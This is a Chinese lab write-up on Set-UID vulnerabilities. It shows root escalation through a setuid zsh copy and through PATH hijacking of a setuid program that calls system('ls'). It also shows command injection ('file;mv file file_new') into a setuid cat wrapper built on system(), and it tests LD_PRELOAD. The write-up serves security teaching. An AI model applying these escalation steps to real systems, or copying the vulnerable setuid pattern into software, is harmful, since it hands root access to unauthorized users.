SET-UID程序漏洞实验

文章详情出自实验楼

实验简介

Set-UID是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行时，它被假设为具有拥有者的权限。例如，如果程序的拥有者是root，那么任何人运行这个程序时都会获得程序的拥有者即root权限。Set-UID允许我们做许多很有趣的事情，但不幸的是，它也是很多坏事的罪魁祸首。
因此本次实验的目标有两点：
①欣赏好的方面，理解为什么Set-UID是需要的，以及人、它是如何被执行的。
②注意坏的方面，理解它潜在的安全性问题。

实验过程

一、没有Set-UID机制的情况
猜测为什么passwd、chsh、su、sudo命令需要Set-UID机制，如果没有这些机制的话会发生什么。
在这里插入图片描述
如上所示，把passwd拷贝到/tmp目录下时，权限发生了变化，复件没有了修改密码的权限。
把chsh、su、sudo命令的程序拷贝到用户目录下，同样不再具有root权限。

二、有Set-UID机制的情况
1.zsh和bash
以root的方式登录，拷贝/usr/bin/zsh到/tmp，设置/tmp下的zsh为Set-UID root权限，然后以普通用户登录，运行/tmp/zsh，结果可以得到root权限。
在这里插入图片描述
拷贝/bin/bash到/tmp目录，同时设置/tmp目录下的bash为Set-UID root权限，结果如下，不能获得root权限。

从上面步骤可以看出，/bin/bash/有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形，我们打算使用另外一种shell程序——/bin/zsh。在一些Linux的发行版中（比如Fedora和ubuntu），/bin/sh实际上是/bin/bash的符号链接。为了使用zsh，我们需要把/bin/zsh链接到/bin/zsh。

$sudo su
#cd /bin
#rm sh
#ln -s zsh sh

在这里插入图片描述
2、有风险的shell调用
system（const char * cmd）系统调用函数被内嵌到一个程序中执行一个命令，system（）调用//bin/sh来执行shell程序，然后shell程序去执行cmd命令。但是在一个Set-UID程序中system（）函数调用shell是非常危险的，这是因为shell程序的行为可以被环境变量影响，比如PATH。通过控制这些环境变量，别有用心的用户就可以控制Set-UID程序的行为。
在/tmp目录下新建test.c文件，输入如下内容：


int main()
{
   system("ls");
   return 0;
}

这个程序用来执行/bin/ls命令，然后可以为ls命令使用相对路径而不是绝对路径。
经过编译，赋予权限，修改PATH路径后，可以获得root权限。
命令如下：

$cd /tmp
$sudo su
#gcc -o test test.c
#chmod u+s test
#exit
$cp /bin/sh /tmp/ls
$PATH=/tmp/
$./test

在这里插入图片描述
已获得root权限。

接着先恢复环境变量PATH，然后修改/bin/sh使其返回到/bin/bash，重复上面的攻击。

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

在这里插入图片描述
没有获得root权限。

3、system（）和execve（）的不同
首先确保/bin/sh指向zsh：

$sudo su
#cd /bin
#rm sh
#ln -s zsh sh

在这里插入图片描述
然后使用如下命令恢复PATH

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

背景：Bob 在一家审计代理处工作，他正在调查一家公司是否存在诈骗行为。为了这个目的，他需要阅读这家公司在 Unix 系统中的所有文件。为了保护系统的可靠性，他不能修改任何一个文件。为了达到这个目的，Vince——系统的超级用户为他写了一个SET-ROOT-UID程序，并且给了Bob可以执行它的权限。这个程序需要Bob在命令行中打出一个文件名，然后运行/bin/cat命令显示这个文件。既然这个程序是以root权限运行的，它就可以显示Bob想看的任何一个文件。然而，既然这个程序没有写操作，Vince很确信Bob不能用这个程序修改任何文件。首先在 /tmp 目录下新建 SRU.c 文件，内容如下：

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
   char *v[3];
   if(argc < 2)
   {
   printf("Please type a file name.\n");
   return 1;
   }
   v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
  //Set q = 0 for Question a, and q = 1 for Question b
   int q = 0;
   if (q == 0)
   {
      char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
      sprintf(command, "%s %s", v[0], v[1]);
      system(command);
  }
  else execve(v[0], v, 0);
  return 0 ;
}

程序中有q=0，程序会使用system（）调用命令行。这个命令式hi不安全的，Bob可能会出于好奇或者个人利益驱使阅读或者修改只有root用户才可以运行的一些问价。
在这里插入图片描述
上图中，file文件本来只有root用户有读写权限，普通用户通过运行SRU.c程序，阅读并重命名了file文件。
但是如果将程序中的q修改为1后，就不会奏效了。前面的步骤之所以优先，是因为system（）函数调用/bin/sh，链接至zsh，具有root权限执行了cat file文件后，截止执行mv file file_new命令。
而当q=1时，execve（）函数会把file;mv file file_new看成是一个文件名，系统会提示不存在这个文件。

4、LD_PRELOAD环境变量
为了保证Set-UID程序在LD_PRELOAD环境的操纵下是安全的，动态链接器会忽略环境变量，但是在某些条件下例外的。
①在/tmp目录下创建mylib.c创建一个动态链接库，在函数库libc中重载了sleep函数。

/* mylib.c */
#include <stdio.h>
void sleep (int s)
{
    printf("I am not sleeping!\n");
}

②编译程序

$gcc -fPIC -g -c mylib.c
$gcc -shared -Wl,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o –lc

③在/tmp下创建myprog.c

int main()
{
   sleep(1);
   return 0;
}

④把myprog.c编译成一个普通用户下的程序再普通用户下运行。
在这里插入图片描述
可见，它会使用LD_PRELOAD环境变量，重载sleep函数。
⑤把myprog编译成一个Set-UID root的程序在普通用户下运行。

在这种情况下，忽略LD_PRELOAD环境变量，不重载sleep函数，使用系统自带的sleep函数：
⑥把myprog编译成一个Set-UID root的程序在root下运行。
在这里插入图片描述
⑦在一个普通用户下把myprog编译成一个Set-UID 普通用户的程序在另一个普通用户下运行。

上述命令创建了一个新用户SYL，在SYL这个普通用户下编译一个Set-UID普通用户的程序。在这种情况下，不会重载sleep函数。